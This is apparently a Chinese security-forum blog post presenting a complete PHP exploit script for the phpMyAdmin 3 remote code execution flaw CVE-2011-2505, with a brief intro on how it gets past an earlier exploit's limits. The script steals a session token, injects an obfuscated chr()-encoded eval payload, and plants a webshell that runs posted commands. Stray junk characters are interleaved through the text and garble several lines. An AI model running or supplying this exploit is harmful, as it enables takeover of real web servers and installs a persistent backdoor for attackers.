phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

2 N; l; z0 c* A. D* d5 M4 n% x( ^昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
, y" W- y: n6 D% e- O1 d) `# p
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
8 Y9 \& {4 h$ A: k0 Z& V* F; |. l一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
0 ]* \: V4 X2 W( [( p
在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

) m3 n( C5 ]6 M% F. y6 Q#!/usr/bin/php
<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
- X$ Y) x% w! ?6 u6 S1 n7 }, t6 Cby oldjun(www.oldjun.com)
9 n) W/ o" _. q+ n9 xwelcome to www.t00ls.net
mail: oldjun@gmail.com
; h5 O6 X. }# v; aAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
');

) m6 v. w) k4 P, h0 H# o' ?/**
- @/ y5 T* y: x; I" S * working when the directory:"config" exists and is writeable.
/ F- e. y: M! b- o**/
8 U4 |* J$ U# D3 W( S+ M$ U
6 f' Z0 _: L! e7 v1 Qif ($argc < 3) {
& F' @+ I* i$ Q9 I    print_r('
. W+ ^& y2 h3 Y- D+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
7 j+ ^0 H9 K- t3 r: [3 dphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
0 ^% p! Q: O: h8 d');
! p8 d- d* d; X0 J    exit;
6 b+ o& Y% v9 Z( d. `}

7 n  V% r4 l' l: ~& q' a7 o$host = $argv[1];
9 F* ~6 y, q! r+ {  M2 u+ t$path = $argv[2];

/**
* Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
( r+ u' P3 `8 c5 `; m$returnstr=php_request('config/');
. D$ Q  s" u* Uif(strpos($returnstr,'404')){
  m7 x/ M$ q1 m: P: c    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}
6 p1 e- H' u- H" Y+ O7 |5 v
: z) q+ Y) W6 J. |/**
* Try to get token and sessionid
**/
( l! v; T1 c$ z% R/ z+ t1 decho "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
1 j; H8 p, ^( T8 C" Y$token=$resp[3];
$sessionid=$resp[1];
if($token && $sessionid){
* b) X5 h, ]) f. L- C* ~( u    echo "[+] tokentoken\n";
/ L( n  E4 O5 W8 W6 f; e! G* m    echo "[+] Session IDsessionid\n";
: r' \* q# t. S( N" m% \/ O3 w* V}else{
( i% j  K1 B  g. F0 O    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
' `3 |- P9 A+ [1 O* t; {( o}
! o" X/ f7 O6 ~. q
% m) z+ S6 j7 r2 w6 Z7 c. c- u/ i/**
% l9 ~5 z! V# q" V4 J" `. D * Try to insert shell into session
" x/ g! d& i; J9 I**/
1 X! A. J4 r- Cecho "[+] Try to insert shell into session....\n";
. c6 Z8 x% Z( `0 j3 d; Dphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
1 I3 u. p+ a. r
! G7 r0 c" v" s0 c) e( P* v/**
* Try to create webshell
, T  f, L7 C+ L* O0 }! ]! @**/
echo "[+] Try to create webshell....\n";
: T- M% e$ M. L( d5 d" D1 J# @php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
9 l& E* K' W9 [3 a) o4 b7 r * Try to check if the webshell was created successfully
7 t3 h# z8 q( g( n; y1 e**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
* W0 B( \9 L- `& b! N6 F    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
0 h2 E" t, `% |9 d% r# A: y" E8 S}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
3 w. _! q& V- U& P$ |4 |}
# a" v) ?) ^9 Z( o9 h
function php_request($url,$data='',$cookie=''){
# n: L7 c6 i$ R& E" E1 Q    global  $host, $path;
   
    $method=$data?'POST':'GET';
   
2 _+ g. s( i2 q# c$ L  E    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
- t5 w" Z3 w4 t" o6 H1 z    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
& S& Q5 X' q5 j' q9 Y# {    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";

    $fp = fsockopen(gethostbyname($host), 80);
+ `2 Y# |  T1 W, k( x    if (!$fp) {
    echo 'No response from '.$host; die;
5 V, A3 E9 [/ N! c# x# }    }
    fputs($fp, $packet);

& k- C6 V& C- }    $resp = '';

! O9 o! ]# N! i3 E$ n' f1 ]    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

5 B1 L4 t  E( ]2 U) f    return $resp;
}
0 e) M& g1 Q" _& E  z   
1 P6 s' G& p8 Y6 [( T?>
# n; B. @% v% M- I$ k& v: k.